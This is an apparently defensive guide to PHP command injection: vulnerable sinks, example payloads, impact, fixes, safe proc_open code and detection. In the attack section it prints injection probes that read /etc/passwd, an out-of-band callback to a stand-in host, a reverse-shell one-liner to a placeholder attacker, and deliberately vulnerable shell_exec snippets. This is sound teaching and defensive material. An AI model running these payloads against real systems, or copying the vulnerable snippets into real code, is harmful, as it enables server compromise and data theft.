Command injection happens when attacker-controlled input reaches a PHP function that spawns an operating-system shell, letting the attacker append or alter shell commands that run with the web server's privileges.
PHP exposes several functions that hand a string to the underlying OS command interpreter (/bin/sh on Linux, cmd.exe on Windows): system(), exec(), shell_exec(), passthru(), popen(), proc_open(), the backtick operator `...`, and pcntl_exec(). When any part of the string passed to these functions is built from untrusted input without neutralising shell metacharacters, the shell interprets those metacharacters and executes commands the developer never intended.
The root cause is a confusion of data and code: the developer means the user's value to be a plain argument, but the shell treats characters like ;, |, &, $(), `, >, <, and newlines as control syntax. This is distinct from argument injection, where the input cannot break out of the command but can still smuggle extra flags to the invoked program.
Command injection is CWE-78 and maps to A03:2021 – Injection in the OWASP Top 10. It is one of the highest-severity web bugs because success typically yields direct code execution on the server.
<?php
// VULNERABLE: user input concatenated straight into a shell command
$host = $_GET['host'];
// Attacker controls part of the command line passed to /bin/sh
$output = shell_exec('ping -c 1 ' . $host);
header('Content-Type: text/plain');
echo $output;The developer expects ?host=example.com. Because shell_exec() runs the string through /bin/sh -c, any shell metacharacter in $host is honoured.
Even code that tries to be safe is often still vulnerable. Wrapping the value in double quotes does not help, because $(...) and backticks are still expanded inside double quotes:
<?php
// VULNERABLE: double quotes do not stop command substitution
$file = $_POST['file'];
system("gzip \"$file\""); // ?file=x$(id) still runs `id`Given the ping endpoint, an attacker chains a second command with ;, &&, |, or a newline:
GET /ping.php?host=127.0.0.1;id HTTP/1.1
Host: victim.exampleThe shell receives ping -c 1 127.0.0.1;id and runs both commands, returning the output of id (e.g. uid=33(www-data) gid=33(www-data)), confirming code execution as the web-server user.
Other classic separators and techniques an attacker probes with:
127.0.0.1 | whoami # pipe output of ping into whoami
127.0.0.1 && cat /etc/passwd # run second command if first succeeds
127.0.0.1 $(cat /etc/passwd) # command substitution
`id` # backtick substitution
127.0.0.1%0acat+/etc/passwd # URL-encoded newline as separatorBlind command injection (no output returned) is confirmed with time delays (; sleep 10) or an out-of-band callback (; nslookup attacker.oob). From a single injection an attacker typically pivots to a reverse shell, e.g. appending ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1, then escalates. The goal here is to recognise the sink during source review — not to run it against systems you do not own.
| Aspect | Rating / Consequence |
|---|---|
| Severity | Critical — direct remote code execution |
| Confidentiality | Full — read any file the web user can access |
| Integrity | Full — modify files, plant webshells, alter data |
| Availability | Full — kill processes, exhaust resources, wipe data |
| Typical blast radius | Web-server user, then lateral movement / privilege escalation |
| CVSS class | Commonly 9.8 (Network / Low complexity / No auth on unauth endpoints) |
Prioritised, strongest first:
- Avoid the shell entirely. The best fix is to not call a shell command at all — use a native PHP API. Need DNS? Use
dns_get_record()/checkdnshostname(). Need to read a file?file_get_contents(). Need an image resize? the GD or Imagick extension. No shell, no shell injection. - Bypass the shell with an argument array. Use
proc_open()(or PHP 8.4+Processpatterns) passing the command as an array of arguments, which executes the binary directly viaexecvpwithout a/bin/sh -cwrapper, so metacharacters are never interpreted. - Escape both the command and each argument when you must build a string:
escapeshellcmd()for the whole command andescapeshellarg()around every user-supplied argument.escapeshellarg()wraps the value in single quotes and escapes embedded quotes, forcing it to be a single literal argument. Preferescapeshellarg()per-argument overescapeshellcmd()on the whole line. - Allow-list the input when the set of valid values is finite (e.g. a fixed list of hostnames, an enum of actions). Validate against the list before it reaches any sink.
- Strict input validation — reject anything that is not the expected shape (e.g. a hostname regex, an integer cast) as defence in depth.
- Run with least privilege so that even a successful injection is contained (non-root web user,
disable_functionsinphp.iniforsystem,exec,shell_exec,passthru,popen,proc_openwhere the app genuinely never needs them,open_basedir, containers/seccomp).
Caveat:
escapeshellarg()prevents breaking out of the argument, but does not stop argument injection — a value like--flagis still a single, valid argument. Combine escaping with allow-listing and, where possible, a--end-of-options separator.
<?php
declare(strict_types=1);
/**
* Safely ping a host without ever invoking a shell.
* Uses an argument array via proc_open() so no /bin/sh -c wrapper exists,
* plus strict validation as defence in depth.
*/
function safePing(string $host): string
{
// 1. Validate: allow only hostnames or IP addresses (allow-list by shape)
$isIp = filter_var($host, FILTER_VALIDATE_IP) !== false;
$isHost = (bool) preg_match('/^(?=.{1,253}$)([a-z0-9](-?[a-z0-9])*)(\.[a-z0-9](-?[a-z0-9])*)*$/i', $host);
if (!$isIp && !$isHost) {
throw new InvalidArgumentException('Invalid host');
}
// 2. Pass the command as an ARGUMENT ARRAY — no shell, no metachar parsing.
// '--' ends option parsing so a value like "-oProxyCommand" cannot become a flag.
$cmd = ['ping', '-c', '1', '-w', '2', '--', $host];
$descriptors = [
1 => ['pipe', 'w'], // stdout
2 => ['pipe', 'w'], // stderr
];
$process = proc_open($cmd, $descriptors, $pipes);
if (!is_resource($process)) {
throw new RuntimeException('Failed to start process');
}
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
return $stdout !== '' ? $stdout : $stderr;
}
$host = (string) ($_GET['host'] ?? '');
try {
$result = safePing($host);
header('Content-Type: text/plain; charset=utf-8');
// Escape on output too, in case the result is later rendered in HTML.
echo htmlspecialchars($result, ENT_QUOTES | ENT_HTML5, 'UTF-8');
} catch (InvalidArgumentException $e) {
http_response_code(400);
echo 'Bad request';
}If a string command is genuinely unavoidable, the minimum safe form is:
<?php
declare(strict_types=1);
$host = (string) ($_GET['host'] ?? '');
// escapeshellarg() forces $host to be one literal argument
$safe = escapeshellarg($host);
$output = shell_exec('ping -c 1 -- ' . $safe);
echo $output ?? '';Code review / SAST. Grep the codebase for the sinks and check whether any argument is tainted:
grep -rnE '\b(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*\(' --include='*.php' .
grep -rnE '`[^`]*\$' --include='*.php' . # backtick operator with a variableFor each hit, trace the argument back to $_GET / $_POST / $_REQUEST / $_SERVER / $_COOKIE / file contents / DB values. Tools: Psalm/PHPStan taint analysis, Semgrep (php.lang.security.exec-use), RIPS/Progpilot, and phpcs security rulesets. Treat any concatenation into these functions as suspect; treat an argument array to proc_open() as the safe pattern.
Logs & runtime. Watch for shell metacharacters (;, |, &, $(, backticks, %0a) in request parameters, and for the web-server user spawning unexpected children (sh, bash, whoami, id, curl, nslookup, nc). Auditd/EDR process-lineage rules where a PHP-FPM worker forks a shell are high-signal. Egress DNS/HTTP to unknown hosts can reveal blind/OOB injection.
WAF. Signatures for command-injection payloads (e.g. OWASP CRS 932xxx rules) provide a stop-gap, but are bypassable and must not replace fixing the sink. Confirm findings against the Security-Audit-Checklist rather than trusting the WAF alone.
- OWASP Command Injection
- OWASP OS Command Injection Defense Cheat Sheet
- PHP Manual — escapeshellarg()
- PHP Manual — proc_open()
- OS-Commands — the offensive-side reference for OS command execution this note complements defensively
- Input-Sanitization — validate and allow-list before any value reaches a sink
- File-Upload-Security — uploaded filenames and paths are a common tainted source that flows into shell calls
- Server-Side-Request-Forgery-SSRF — the other high-impact bug where a "harmless" fetch/exec becomes attacker-controlled
- Security-Audit-Checklist — where the command-execution sink review lives in a full audit